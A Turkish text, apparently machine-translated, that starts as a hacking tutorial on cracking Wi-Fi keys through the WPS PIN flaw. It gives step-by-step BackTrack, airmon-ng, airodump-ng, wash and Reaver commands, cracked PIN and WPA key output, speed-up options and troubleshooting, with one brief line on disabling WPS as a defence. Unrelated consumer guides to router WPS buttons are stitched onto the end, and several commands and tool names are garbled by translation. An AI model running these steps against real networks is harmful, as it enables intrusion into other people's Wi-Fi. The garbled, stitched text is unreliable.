Kısa bir süre önce, WPA2 teknolojisi kullanılarak korunan bir kablosuz ağın oldukça güvenli olduğu görülüyordu. Bağlanmak için basit bir anahtar almak gerçekten mümkün. Ancak gerçekten uzun bir anahtar ayarlarsanız, ne gökkuşağı tabloları ne de GPU hızlandırması onu bağlamaya yardımcı olmaz. Ancak, ortaya çıktığı gibi, WPS protokolünde yakın zamanda keşfedilen bir güvenlik açığını kullanarak kablosuz bir ağa onsuz bağlanabilirsiniz.
UYARI
Tüm bilgiler yalnızca eğitim amaçlı verilmektedir. Bir başkasının kablosuz ağına girmek, kolaylıkla suç teşkil edebilir. Kafanla düşün.
basitleştirmelerin fiyatı
Bağlanmak için bir anahtar girmenize gerek olmayan açık erişim noktalarının sayısı giderek azalmaktadır. Görünüşe göre yakında Kırmızı Kitap'ta listelenebilirler. Daha önce bir kişi, bir kablosuz ağın bir anahtarla kapatılabileceğini ve kendisini yabancı bağlantılardan koruyabileceğini bile bilmiyorsa, şimdi ona bu olasılık hakkında giderek daha fazla bilgi veriliyor. Kurulumu basitleştirmek için en azından popüler yönlendirici modelleri için önde gelen sağlayıcılar tarafından yayınlanan özel ürün yazılımını kullanın. İki şey belirtmeniz gerekir - oturum açma / parola ve ... kablosuz ağı korumak için bir anahtar. Daha da önemlisi, donanım üreticilerinin kendileri kurulum sürecini basitleştirmeye çalışıyor. Bu nedenle, çoğu modern yönlendirici WPS (Wi-Fi Korumalı Kurulum) mekanizmasını destekler. Onun yardımıyla kullanıcı, "başka bir yerde şifrelemeyi etkinleştirmeniz ve bir WPA anahtarı kaydetmeniz gerekiyor" gerçeğiyle hiç uğraşmadan saniyeler içinde güvenli bir kablosuz ağ kurabilir. Sisteme, yönlendiricide yazılan sekiz basamaklı bir karakter PIN'i girdiniz - ve bitirdiniz! Ve burada, sıkı tutun. Aralık ayında, iki araştırmacı hemen WPS protokolündeki ciddi temel kusurlardan bahsetti. Herhangi bir yönlendirici için bir arka kapı gibidir. Erişim noktasında WPS etkinleştirilirse (bir an için çoğu yönlendiricide varsayılan olarak etkindir), o zaman birkaç saat içinde bağlanmak için bir PIN alabilir ve bağlanmak için bir anahtar çıkarabilirsiniz!
WPS nasıl çalışır?
WPS'nin yaratıcılarının fikri güzel. Mekanizma, ağ adını ve şifrelemeyi otomatik olarak ayarlar. Böylece kullanıcının web arayüzüne girip karmaşık ayarlarla uğraşmasına gerek kalmıyor. Ayrıca, önceden yapılandırılmış bir ağa herhangi bir cihazı (örneğin bir dizüstü bilgisayar) kolayca ekleyebilirsiniz: PIN'i doğru girerseniz, gerekli tüm ayarları alır. Bu çok uygundur, bu nedenle tüm büyük piyasa oyuncuları (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) şimdi kablosuz yönlendiriciler WPS desteği ile. Biraz daha anlayalım.
WPS kullanmak için üç seçenek vardır:
- Basmalı Düğme Bağlantısı (PBC). Kullanıcı, yönlendirici (donanım) ve bilgisayar (yazılım) üzerindeki özel bir düğmeye basarak yapılandırma işlemini etkinleştirir. ilgilenmiyoruz.
- Web arayüzünde bir PIN kodu girme. Kullanıcı, yönlendiricinin yönetici arayüzüne tarayıcı aracılığıyla girer ve cihaz kasası üzerinde yazılı sekiz haneli PIN kodunu girer (Şekil 1), ardından yapılandırma işlemi gerçekleşir. Bu yöntem, yönlendiricinin ilk yapılandırması için daha uygundur, bu nedenle biz de dikkate almayacağız.
- Kullanıcının bilgisayarına bir PIN kodu girme (Şekil 2). Bir yönlendiriciye bağlanırken, içinde yönlendiriciyi yapılandırabileceğiniz veya PIN kodunu doğru girerseniz mevcut ayarları alabileceğiniz özel bir WPS oturumu açabilirsiniz. Şimdi bu çekici. Böyle bir oturumu açmak için kimlik doğrulama gerekmez. Bunu herkes yapabilir! PIN kodunun kaba kuvvet saldırısına karşı potansiyel olarak zaten hassas olduğu ortaya çıktı. Ama bunlar sadece çiçekler.
güvenlik açığı
Daha önce de belirttiğim gibi, PIN sekiz basamaktan oluşur - bu nedenle aralarından seçim yapabileceğiniz 10^8 (100.000.000) seçenek vardır. Bununla birlikte, seçeneklerin sayısı önemli ölçüde azaltılabilir. Gerçek şu ki son rakam PIN kodu, ilk yedi haneye göre hesaplanan bir tür sağlama toplamıdır. Sonuç olarak, zaten 10 ^ 7 (10.000.000) seçenek elde ediyoruz. Ama hepsi bu değil! Ardından, WPS kimlik doğrulama protokolünün cihazına dikkatlice bakıyoruz (Şekil 3). Kaba kuvvet olasılığını bırakmak için özel olarak tasarlanmış gibi görünüyor. PIN kodunun kontrol edilmesinin iki aşamada gerçekleştirildiği ortaya çıktı. İki eşit parçaya bölünür ve her parça ayrı ayrı kontrol edilir! Diyagrama bakalım:
- Saldırgan, M4 mesajını gönderdikten sonra yanıt olarak bir EAP-NACK aldıysa, PIN kodunun ilk bölümünün yanlış olduğundan emin olabilir.
- M6'yı gönderdikten sonra bir EAP-NACK aldıysa, buna göre PIN kodunun ikinci kısmı yanlıştır. İlk yarı için 10^4 (10.000) ve ikinci yarı için 10^3 (1.000) seçenek alıyoruz. Sonuç olarak, tam bir numaralandırma için yalnızca 11.000 seçeneğimiz var. Bunun nasıl çalışacağını daha iyi anlamak için şemaya bakın.
- Önemli bir nokta olası numaralandırma hızıdır. Yönlendiricinin WPS isteklerini işleme hızıyla sınırlıdır: bazı erişim noktaları her saniye, diğerleri her on saniyede bir sonuç verir. Çoğu zaman, Diffie-Hellman algoritması kullanılarak genel anahtarın hesaplanmasına harcanır, M3 adımından önce oluşturulmalıdır. Bunun için harcanan zaman, istemci tarafında basit bir gizli anahtar seçilerek azaltılabilir, bu da diğer anahtarların hesaplanmasını daha da basitleştirir. Uygulama, başarılı bir sonuç için genellikle tüm seçeneklerin yalnızca yarısını sıralamanın yeterli olduğunu ve ortalama olarak kaba kuvvetin yalnızca dört ila on saat sürdüğünü göstermektedir.
İlk uygulama
Ortaya çıkan ilk kaba kuvvet uygulaması, Python'da araştırmacı Stefan Fiböck tarafından yazılan wpscrack yardımcı programıydı (goo.gl/9wABj). Yardımcı program, isteğe bağlı ağ paketlerini enjekte etmenize izin veren Scapy kitaplığını kullandı. Komut dosyası, yalnızca kablosuz arayüzü izleme moduna geçirdikten sonra bir Linux sistemi altında çalıştırılabilir. Parametre olarak, sistemdeki ağ arabiriminin adını, kablosuz adaptörün MAC adresini ve ayrıca erişim noktasının MAC adresini ve adını (SSID) belirtmeniz gerekir.
$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v sniffer denemeye başladı 00000000 girişimi aldı 0,95 saniye 00010009 deneniyor<...>18660005 denemesi 1,08 saniye sürdü 18670004# denenmesi bulundu PIN denemesinin ilk yarısı 1,09 saniye sürdü 18670011 denemesi 1,08 saniye sürdü<...>18674095# denerken PIN'in 2. yarısı bulundu<...>Ağ Anahtarı: 0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 şans_crac 0030 6B 69 6Ç 67 5F 74 68 69 73 5F 6F 6E 65king_this_one<...>
Gördüğünüz gibi, önce PIN kodunun ilk yarısı, ardından ikincisi seçildi ve sonunda program, kablosuz ağa bağlanmak için kullanıma hazır bir anahtar verdi. Bu uzunlukta bir anahtarı (61 karakter) önceden var olan araçlarla tahmin etmenin ne kadar süreceğini hayal etmek zor. Bununla birlikte, wpscrack güvenlik açığından yararlanan tek yardımcı program değildir ve bu oldukça komik bir andır: Aynı zamanda, Tactical Network Solutions'tan başka bir araştırmacı olan Craig Heffner aynı sorun üzerinde çalışıyordu. Saldırıyı gerçekleştirmek için Web'de çalışan bir PoC'nin göründüğünü görünce Reaver yardımcı programını yayınladı. Yalnızca WPS-PIN kaba kuvvet sürecini otomatikleştirmekle ve PSK anahtarını çıkarmakla kalmaz, aynı zamanda saldırının çok çeşitli yönlendiricilere karşı gerçekleştirilebilmesi için daha fazla ayar sunar. Ayrıca, çok daha fazla sayıda kablosuz bağdaştırıcıyı destekler. Bunu temel almaya ve bir saldırganın güvenli bir kablosuz ağa bağlanmak için WPS protokolündeki bir güvenlik açığını nasıl kullanabileceğini ayrıntılı olarak açıklamaya karar verdik.
NASIL
Kablosuz ağa yapılan diğer tüm saldırılarda olduğu gibi, Linux'a ihtiyacımız olacak. Burada, kablosuz aygıtlar için gerekli sürücüleri zaten içeren, iyi bilinen dağıtım BackTrack'in deposunda Reaver'ın bulunduğunu söylemeliyim. Bu nedenle, onu kullanacağız.
Adım 0. Sistemi hazırlayın
Resmi web sitesinde, BackTrack 5 R1, VMware altında sanal bir makine ve önyüklenebilir bir ISO görüntüsü olarak indirilebilir. Son seçeneği tavsiye ederim. Görüntüyü basitçe bir diske yazabilir veya programı önyüklenebilir bir flash sürücü yapmak için kullanabilirsiniz: öyle ya da böyle, böyle bir ortamdan önyükleme yaparak, gereksiz sorunlar olmadan hemen çalışmaya hazır bir sisteme sahip olacağız.
Wi-Fi Hacking Hızlandırılmış Kursu
- WEP (Wired Equivalent Privacy) Bir kablosuz ağı güvence altına alan ilk teknolojinin son derece zayıf olduğu ortaya çıktı. İçinde kullanılan RC4 şifresinin zayıflıkları kullanılarak sadece birkaç dakika içinde hacklenebilir. Buradaki ana araçlar, paketleri toplamak için airodump-ng sniffer ve doğrudan anahtarı kırmak için kullanılan aircrack-ng yardımcı programıdır. Ayrıca, genellikle otomatik modda WEP ile yakındaki tüm noktaları hackleyen özel bir wesside-ng aracı vardır.
- WPA/WPA2 (Kablosuz Korumalı Erişim)
Kaba kuvvet, kapalı bir WPA / WPA2 ağı için bir anahtar bulmanın tek yoludur (ve o zaman bile, yalnızca, istemci erişim noktasına bağlandığında yayınlanan WPA El Sıkışma adı verilen bir döküm varsa).
Kaba kuvvet günlerce, aylarca ve yıllarca sürebilir. Numaralandırmanın verimliliğini artırmak için önce özel sözlükler kullanıldı, ardından gökkuşağı tabloları oluşturuldu ve daha sonra GPU sayesinde sürecin donanımsal olarak hızlandırılması için NVIDIA CUDA ve ATI Stream teknolojilerini kullanan yardımcı programlar ortaya çıktı. Kullanılan araçlar aircrack-ng (sözlük kaba kuvvet), cowpatty (gökkuşağı tabloları kullanılarak), pyrit (bir grafik kartı kullanılarak).
Adım 1. Giriş
Varsayılan kullanıcı adı ve şifre root:toor'dur. Konsola girdikten sonra, "x"i güvenle başlatabilirsiniz (ayrı BackTrack yapıları vardır - hem GNOME hem de KDE ile):
#startx
Adım 2: Reaver'ı yükleyin
Reaver'ı indirmek için internete ihtiyacımız var. Bu nedenle, bir yama kablosu bağlarız veya bir kablosuz adaptör yapılandırırız (“Uygulamalar> İnternet> Wicd Ağ Yöneticisi” menüsü). Ardından, yüklediğimiz terminal öykünücüsünü çalıştırın En son sürüm depo aracılığıyla yardımcı programlar:
# apt-get update # apt-get yükleme tarayıcısı
Burada, havuzun kişisel olarak benim için yanlış çalışan 1.3 sürümünü içerdiğini söylemeliyim. Sorun hakkında bilgi ararken, SVN'den alınan kaynakları derleyerek mümkün olan en yüksek sürüme güncelleme yapılmasını öneren yazarın bir gönderisini buldum. Bu, genel olarak en çok yönlü kurulum yöntemidir (herhangi bir dağıtım için).
$ svn ödeme http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps $ cd ./reaver-wps/src/ $ ./configure $ make # make install
BackTrack altında montajda herhangi bir sorun olmayacak - Şahsen kontrol ettim. Kullandığım Arch Linux dağıtımında, uygun PKGBUILD sayesinde kurulum daha da kolay:
$ yaourt -S reaver-wps-svn
3. Adım. Kaba kuvvete hazırlık
Reaver'ı kullanmak için aşağıdakileri yapmanız gerekir:
- kablosuz adaptörü izleme moduna geçirin;
- kablosuz arayüzün adını öğrenin;
- erişim noktasının (BSSID) MAC adresini öğrenin;
- noktada WPS'nin etkinleştirildiğinden emin olun.
Öncelikle, kablosuz arayüzün sistemde var olup olmadığını kontrol edelim:
#iwconfig
Bu komutun çıktısı, açıklamalı bir arayüz içeriyorsa (genellikle wlan0'dır), sistem adaptörü tanıdı (eğer Reaver'ı indirmek için bir kablosuz ağa bağlıysa, bağlantıyı kesmek daha iyidir). Bağdaştırıcıyı izleme moduna geçirelim:
# airmon-ng wlan0'ı başlat
Bu komut, izleme modunda bir sanal arabirim oluşturur, adı komutun çıktısında belirtilir (genellikle mon0). Şimdi saldırmak için erişim noktasını bulmamız ve BSSID'sini bulmamız gerekiyor. Kablosuz yayın airodump-ng'yi dinlemek için yardımcı programı kullanalım:
# airodump-ng mon0
Erişilebilir erişim noktalarının bir listesi ekranda görünecektir. WPA / WPA2 şifrelemesi ve PSK anahtar kimlik doğrulaması olan noktalarla ilgileniyoruz.
Bir saldırı için nokta ile iyi bir bağlantı arzu edildiğinden, listedeki ilklerden birini seçmek daha iyidir. Pek çok nokta varsa ve liste ekrana sığmıyorsa, o zaman başka bir iyi bilinen yardımcı programı kullanabilirsiniz - arayüzün bu açıdan daha uyarlanmış olduğu kismet. Opsiyonel olarak WPS mekanizmasının aktif olup olmadığını yerinde kontrol edebilirsiniz. Bunu yapmak için, Reaver ile tamamlayın (ancak yalnızca SVN'den alırsanız) yıkama yardımcı programı gelir:
# ./yıkama -i mon0
Parametre, izleme moduna geçen arabirimin adını belirtir. Ayrıca '-f' seçeneğini kullanabilir ve yardımcı programa, örneğin aynı airodump-ng tarafından oluşturulmuş bir cap dosyası besleyebilirsiniz. Bilinmeyen bir nedenle BackTrack, Reaver paketine yıkama yardımcı programını dahil etmedi. Umarım, makale yayınlandığında bu hata düzeltilecektir.
Adım 4. Kaba kuvvet çalıştırın
Artık doğrudan PIN numaralandırmasına geçebilirsiniz. Reaver'ı en basit durumda başlatmak için biraz ihtiyacınız var. Yalnızca arayüzün adını (daha önce izleme moduna geçirdiğimiz) ve erişim noktasının BSSID'sini belirtmeniz gerekir:
# yağmacı -i mon0 -b 00:21:29:74:67:50 -vv
"-vv" anahtarı, programın genişletilmiş çıktısını açar, böylece her şeyin olması gerektiği gibi çalıştığından emin olabiliriz.
Reaver v1.4 WiFi Korumalı Kurulum Saldırı Aracı Telif Hakkı (c) 2011, Tactical Network Solutions, Craig Heffner
Program sürekli olarak erişim noktasına PIN'ler gönderirse, her şey yolunda gitti ve beklemek aptalca olmaya devam ediyor. İşlem uzun sürebilir. En Kısa bir zaman PIN'i kaba kuvvetle zorlamayı başardığım , yaklaşık beş saatti. Seçilir seçilmez, program bunu memnuniyetle duyurur:
[+] 64637129 pini deneniyor [+] Anahtar 13654 saniyede kırıldı [+] WPS PIN'i: "64637129" [+] WPA PSK: "MyH0rseThink$YouStol3HisCarrot!" [+] AP SSID'si: "linksys"
Buradaki en değerli şey elbette hemen bağlanmak için kullanılabilen WPA-PSK anahtarıdır. Her şey o kadar basit ki kafaya bile sığmıyor.
Savunmak mümkün mü?
Şimdiye kadar, kendinizi bir saldırıdan tek bir şekilde koruyabilirsiniz - yönlendirici ayarlarında WPS'yi kapatın. Doğru, ortaya çıktığı gibi, bu her zaman mümkün değildir. Güvenlik açığı uygulama düzeyinde değil, protokol düzeyinde mevcut olduğundan, üreticilerden tüm sorunları çözecek erken bir yama beklemeye değmez. Şu anda yapabilecekleri en fazla şey kaba kuvvete olabildiğince direnmektir. Örneğin, beş başarısız PIN kodu girme girişiminden sonra bir saat boyunca WPS'yi engellerseniz, arama yaklaşık 90 gün sürer. Ancak başka bir soru da, böyle bir yama dünya çapında çalışan milyonlarca cihaza ne kadar hızlı dağıtılabilir?
Reaver'ı Yükseltme
NASIL'da, Reaver yardımcı programını kullanmanın en kolay ve en çok yönlü yolunu gösterdik. Bununla birlikte, WPS'nin uygulanması üreticiden üreticiye değişir, bu nedenle bazı durumlarda bazı ek yapılandırmalar gerekir. Aşağıda, anahtar numaralandırmanın hızını ve verimliliğini artırabilecek ek seçenekler sunacağım.
- Erişim noktasının kanal numarasını ve SSID'sini ayarlayabilirsiniz: # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
- '-dh-small' seçeneğinin, gizli anahtarın küçük bir değerini ayarlayarak erişim noktası tarafındaki hesaplamaları kolaylaştıran kaba kuvvet hızı üzerinde olumlu bir etkisi vardır: # reaver -i mon0 -b 00:01:02 :03:04:05 -vv - -dh-küçük
- Varsayılan yanıt zaman aşımı beş saniyedir. Gerekirse değiştirebilirsiniz: # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
- Yeniden denemeler arasındaki varsayılan gecikme bir saniyedir. Ayrıca yapılandırılabilir: # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
- Bazı erişim noktaları, düzüşmeye çalıştıklarından şüphelenerek WPS'yi belirli bir süre engelleyebilir. Reaver bu durumu fark eder ve yinelemeyi varsayılan olarak 315 saniye duraklatır, bu duraklamanın süresi değiştirilebilir: # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
- WPS protokolünün bazı uygulamaları, spesifikasyon özel bir mesaj döndürmelerini gerektirse de, PIN yanlışsa bağlantıyı sonlandırır. Reaver bu durumu otomatik olarak tanır, bunun için '--nack' seçeneği vardır: # reaver -i mon0 -b 00:01:02:03:04:05 --nack
- "--eap-terminate" seçeneği, WPS oturumunun bir EAP FAIL mesajıyla bitmesini gerektiren AP'ler içindir: # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
- WPS oturumunda hataların meydana gelmesi, AP'nin bir PIN kodu girme girişimlerinin sayısını sınırladığı veya yalnızca isteklerle aşırı yüklendiği anlamına gelebilir. Bu bilgiler ekranda görüntülenecektir. Bu durumda, Reaver etkinliğini duraklatır ve duraklama süresi '--fail-wait' seçeneği kullanılarak ayarlanabilir: # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait =360
SSS
Soru: Bilgisayar korsanlığı için hangi kablosuz adaptör gereklidir?
Cevap: Denemeden önce, kablosuz adaptörün izleme modunda çalışabileceğinden emin olmanız gerekir. En iyi yol- Aircrack-ng proje sitesinde desteklenen donanımların listesini kontrol edin. Hangi kablosuz modülün satın alınacağı sorusu ortaya çıkarsa, RTL8187L yonga setine dayalı herhangi bir adaptörle başlayabilirsiniz. USB dongle'ları çevrimiçi olarak 20 ABD Doları karşılığında bulmak kolaydır.
S: Neden "zaman aşımı" ve "sıra dışı" hataları alıyorum?
Cevap: Bunun nedeni genellikle düşük seviye sinyal ve erişim noktasıyla zayıf bağlantı. Ayrıca erişim noktası, WPS kullanımını geçici olarak engelleyebilir.
S: MAC adresi sahtekarlığı benim için neden çalışmıyor?
Yanıt: mon0 sanal arabiriminin MAC'ini yanıltıyor olabilirsiniz ve bu işe yaramaz. Gerçek arabirimin adını belirtmelisiniz, örneğin wlan0.
Soru: Aynı WEP kırma işlemi iyi çalışmasına rağmen, sinyal kötü olduğunda Reaver neden kötü çalışıyor?
Yanıt: Tipik olarak, WEP kırma, başarılı kırma için gereken daha fazla başlatma vektörü (IV) elde etmek için yakalanan paketlerin yeniden gönderilmesiyle gerçekleşir. Bu durumda, yol boyunca bir paketin kaybolması veya bir şekilde bozulması önemli değildir. Ancak WPS'ye saldırmak için, her bir PIN kodunu kontrol etmek için erişim noktası ile Reaver arasındaki paket aktarım protokolünü kesinlikle takip etmek gerekir. Ve aynı zamanda bir paket kaybolursa veya uygunsuz bir biçimde gelirse, WPS oturumunu yeniden kurmanız gerekecektir. Bu, WPS saldırılarını sinyal gücüne çok daha bağımlı hale getirir. Ayrıca, kablosuz bağdaştırıcınızın erişim noktasını görmesinin, erişim noktasının sizi gördüğü anlamına gelmediğini de unutmamak önemlidir. Bu nedenle, ALFA Network'ten yüksek güçlü bir adaptörün ve birkaç on dBi için bir antenin mutlu bir sahibiyseniz, yakalanan tüm erişim noktalarını kırabileceğinizi ummayın.
Soru: Reaver, erişim noktasına her zaman aynı PIN'i gönderiyor, sorun ne?
Yanıt: Yönlendiricide WPS'nin etkinleştirilip etkinleştirilmediğini kontrol edin. Bu, yıkama yardımcı programıyla yapılabilir: çalıştırın ve hedefinizin listede olup olmadığını kontrol edin.
S: Neden bir erişim noktasıyla ilişkilendiremiyorum?
Yanıt: Bunun nedeni zayıf sinyal gücü veya adaptörünüzün bu tür araştırmalar için uygun olmaması olabilir.
Soru: Neden sürekli "hız sınırlaması algılandı" hatası alıyorum? Yanıt: Bunun nedeni, erişim noktasının WPS'yi engellemesidir. Genellikle bu geçici bir engellemedir (yaklaşık beş dakika), ancak bazı durumlarda kalıcı bir yasak da atılabilir (yalnızca yönetim paneli aracılığıyla engellemeyi kaldırma). Reaver sürüm 1.3'te, bu tür kilitlerin kaldırılmasının algılanmamasına neden olan kötü bir hata vardır. Çözüm olarak, '--ignore-locks' seçeneğinin kullanılması veya SVN'den en son sürümün indirilmesi önerilir.
Soru: Saldırıyı hızlandırmak için iki veya daha fazla Reaver örneğini aynı anda çalıştırmak mümkün müdür?
Cevap: Teorik olarak, bu mümkündür, ancak aynı erişim noktasını oyarlarsa, numaralandırma hızının artması olası değildir, çünkü bu durumda erişim noktasının zaten tamamen yüklü olan zayıf donanımı ile sınırlıdır. saldırgan
Artık neredeyse her daire ve evde bir yönlendirici var - kablosuz bir WiFi ağı için bir cihaz. Bu cihazın kullanımı son derece uygundur ve bu sayede evinizdeki WiFi ağına kolayca bağlanabilirsiniz. Ancak ayarlar, özellikle deneyimsiz kullanıcılar için genellikle oldukça uzun zaman alır. Yönlendirici (yönlendirici) üzerinde birkaç düğme vardır, bunlardan biri muhtemelen en gizemli olan WPS kısaltmasıyla imzalanmıştır.
WPS nedir?
WPS veya Wi-Fi Korumalı Kurulum, kablosuz ağ kurmayı kolaylaştıran bir standarttır, dolayısıyla her modern yönlendiricide bu düğme bulunur. . Bu özellik diğer cihazlara yardımcı olur (cep telefonu, tablet, dizüstü bilgisayar, PC vb.) cihazınızın oluşturduğu WiFi ağına güvenli ve kolay bir şekilde bağlanın. Bu standardın başlangıçta Wi-Fi Simple Config olarak adlandırılmasının nedeni budur. WPS, diğer kullanıcıların ağınıza erişememesi için kablosuz ağınızı da şifreler. TP-Link yönlendiricilerinde buna QSS dendiğini unutmayın.
Yukarıdakilere dayanarak, VPS'nin ne olduğunu ve neden gerekli olduğunu anlayabilirsiniz. Bunu nasıl uygulamaya koyacağınızı öğrenmenin zamanı geldi.
WPS nasıl kullanılır?
Toplamda, UPU standardına bağlanmanın iki yolu vardır:
- Yazılım bağlantısı
- Donanım bağlantısı
Bu iki yöntem nasıl farklıdır? P WPS yazılım bağlantısı sekiz basamaktan oluşan bir pin kodu kullanılarak gerçekleştirilir ve donanım bağlantısı- yönlendirici üzerindeki düğmeyi kullanarak. Her iki durumda da vps işlevinin nasıl etkinleştirileceğini görelim.
Yazılım bağlantısı
Bu bağlantı, yönlendiricinin karşılık gelen bir düğmesi yoksa kullanılır, ancak bu işlev mümkündür. Genellikle gerekli pin kodu, cihazın etiketinde veya kasasında belirtilir, ancak orada bulamadıysanız, pin kodunu yönlendiricinin yönetici panelinde görebilirsiniz. Orada sadece "WPS" bölümüne gitmeniz gerekiyor.
Pin kodunu öğrendiğinizde, sistem tepsisindeki WiFi simgesine tıklamanız gerekir. Orada ağınızı bulur ve ona bağlanmaya çalışırsınız. Ardından, sistem kurulum sihirbazının sizden daha önce etikette veya "WPS" bölümünde baktığınız pin kodunu isteyeceği bir pencere açılacaktır. Kodu girdikten sonra "İleri" düğmesini tıklayın ve bekleyin. Ve birkaç saniye içinde kablosuz ağınızla güvenle çalışabileceksiniz.
Donanım bağlantısı
Bu yöntemle işler biraz daha kolaylaşıyor. Yönlendiricinin kendisinde ve kablosuz ağa bağlanmak istediğiniz cihazda VPS düğmesine basmanız gerekir. Ardından, cihazlar eşleştirilene kadar biraz beklemeniz gerekir. Ancak ihtiyacınız olan cihaz, bazı akıllı telefonlarda olduğu gibi VPS işlevine sahip değilse, önce ağa bağlanmaya başlamanız ve ardından tuşuna basmanız gerekir. WPS düğmesi.
Ancak birçok yönlendirici modelinde Sıfırla ve WPS düğmelerinin birleştirildiğine dikkat edilmelidir. Bildiğiniz gibi Sıfırlama, yönlendiriciyi fabrika ayarlarına sıfırlamaktır. Yanlışlıkla sıfırlamamak için düğmeyi iki saniyeden fazla basılı tutmanız gerekir. Bu düğmeye uzun süre basılması fabrika ayarlarına sıfırlamaya neden olur.
Yönlendiricileri açma ve kapatma
Bazen yönlendiricideki vps işlevini etkinleştirmeniz veya devre dışı bırakmanız gerekir. Bunu yapmak için yönlendirici ayarlarına gitmemiz gerekiyor.
Herhangi bir tarayıcı bunun için çalışacaktır. Adres çubuğuna yönlendiricinin adresini girmeniz, ardından oturum açma bilgilerini ve parolayı girmeniz gerekir. Yönlendirici adresi genellikle etikette yazılır.. Ancak bir etiketiniz yoksa, adresi ağ kartı ayarlarında veya bağlantı bilgilerinde bulabilirsiniz.
Cihazınızın adresini öğrendikten ve kullanıcı adınızı ve şifrenizi girdikten sonra bir yetkilendirme penceresi açılır. Sadece bir kullanıcı adı ve şifre girmenizi gerektirir. Bazen varsayılan kullanıcı adı ve şifre admin'dir. Gerekli tüm verileri girdikten sonra enter tuşuna basın ve yönlendiricinizin ayarlarını girin.
Ağ geçidi sahiplerinin yarısından fazlası, QSS yardımcı programının yönlendiricide yerleşik olduğunu bile bilmiyor. Gadget'ların ve elektronik bilgisayarların bir Wi-Fi ağına bağlanmasını basitleştirir. Yönlendiricide WPS'nin nerede olduğunu, ne olduğunu ve standardın nasıl devre dışı bırakılacağını öğrenmek için kalır.
WPS, özel bir şifre girmeden küresel ağa kolayca ve güvenli bir şekilde bağlanmanıza olanak tanır.
Ana amaç, kablosuz bağlantı kurma sürecini otomatikleştirmektir.
Bu özelliğin açık avantajları vardır:
- büyük miktarda bilgi aktarımı;
- tek tıklama ile hızlı aktivasyon;
- basit ve kullanışlı kullanım;
- varsayılan bir ağ adı ve parola atama;
- İnternet erişimi olmadan sistemi kurmak.
Standardın dezavantajları, bazı aygıtları bağlamanın zorluğunu ve seçime göre bir PIN kodunu kırma olasılığını içerir.
Bir yönlendiricide WPS düğmesi kurmanın yolları
İki mod yetkilendirme yöntemi vardır:
- PBC modu aracılığıyla;
- bir PIN kullanarak.
Modem ve bağlı cihazda bir WPS düğmesi varsa, ek ayar gerekmez. Düğmeyi basılı tutmanız ve bırakmanız yeterlidir.
WPS modunu etkinleştirmeden önce modem ayarlarına gitmeniz gerekir. Burada bir dizi başka işlevi gerçekleştirebilirsiniz, örneğin:
- güvenli bir kanal için parametreleri ayarlayın;
- kendi kurallarına sahip bir sanal ağ oluşturun;
- cihazları torrentlerden koruyun.
Ağ geçidi ayarlarına giriş, talimatlara göre gerçekleştirilir.
Özellik nasıl etkinleştirilir
Toplamda iki tür WPS aktivasyonu vardır:
- Donanım. Tüm modern modüller gerekli WPS düğmesine sahiptir. Genellikle bu şekilde imzalanır. Modem ayarlarının sıfırlanmasıyla birlikte yönlendiricideki wps düğmesinin örtüldüğü görülür. Yaklaşık beş saniye basılı tutarsanız, parametreler fabrika ayarlarına döndürülür. Bu nedenle, basarken dikkatli olmanız gerekir. Düğmeye bir kez basmanız yeterlidir.
- programı. Bu bölüm ağ geçidi ayarlarında bulunur. Bu yöntem bir PIN kullanımını içerir. Genellikle ağ modülünün gövdesinde belirtilir.
WPS'nin etkinleştirilmesi, modemin türüne ve markasına göre farklılık gösterir:
- Bağlantı. "Gelişmiş Ayarlar"a gidin ve "Wi-Fi" grubundaki "WPS" sekmesine tıklayın. Ardından, "WPS'yi Etkinleştir" kutusunu işaretleyin ve PIN kodunu yazın.
- TP Bağlantısı. Ana arayüzdeki sütun aracılığıyla QSS'yi etkinleştirebilirsiniz. Bunu yapmak için durumu "Etkinleştir" olarak ayarlayın. Geçerli PIN penceresi, yazmanız gereken PIN'i gösterecektir.
- ZyXel. "Ağ - Kablosuz Ağ"ı açın ve "WPS"ye geçin. Standardı etkinleştirmek için "WPS'yi Etkinleştir" öğesinin yanında bir işaret koyun.
- Asus. İşlevi başlatmak için sekmeye gidin " Kablosuz ağ” ve “WPS” öğesini seçin. Ardından, "WPS'yi Etkinleştir" anahtarını "AÇIK" konumuna getirin. PIN kodu alanı, bağlanırken girilecek karakterleri içerecektir.
WPS işlevi, bir Android akıllı telefondan bağlantı için kullanılabilir. Bunu yapmak için ayarlara gidin kablosuz internet telefonda ve köşede noktalar bulunan düğmeyi seçin. Açılan menüde "Ek işlevler"e ve ardından - "WPS düğmesi"ne tıklayın. Ardından, bağlantıyı gösteren bir gösterge belirir. Sonuç olarak, modem üzerindeki QSS düğmesine basın.
Yönlendiricide WPS'yi devre dışı bırakma
Standardın devre dışı bırakılması, yönlendiricinin türüne bağlıdır:
- Bağlantı. Yönlendirici ayarlarını başlatın ve "Gelişmiş" bölümüne, ardından "WI-FI KORUMALI KURULUM" seçeneğine tıklayın. Ardından "Etkinleştir" kutusunun işaretini kaldırın ve ayarları kaydedin.
- TP Bağlantısı. Ağ modülünün web ayarlarına gidin ve "WPS" bölümünü seçin. Ardından "WPS'yi Devre Dışı Bırak"a tıklayın .
- ZyXel. İşlevi devre dışı bırakmak için "Ağ - Kablosuz Ağ"ı açın ve "WPS"ye gidin. Ardından "WPS'yi Etkinleştir"in önüne bir işaret koyun.
- Asus. Yönlendirici arayüzüne girin ve "Gelişmiş Ayarlar" bloğundaki menünün yan tarafında bulunan "Kablosuz Ağ" bölümünü seçin. Ardından, protokol sekmesinde, "Kapalı"yı seçerek yönlendiricideki WPS'yi devre dışı bırakabilirsiniz.
WPS'nin yönlendiricide yanıp sönmesi ne anlama gelir?
Ağ modülünde bir ışık göstergesi varsa, çalışma süreci görsel olarak kontrol edilebilir. Sinyal kesintili ise, bu, şu an bir cihaz bağlanır. İşlem yaklaşık bir dakika sürer.
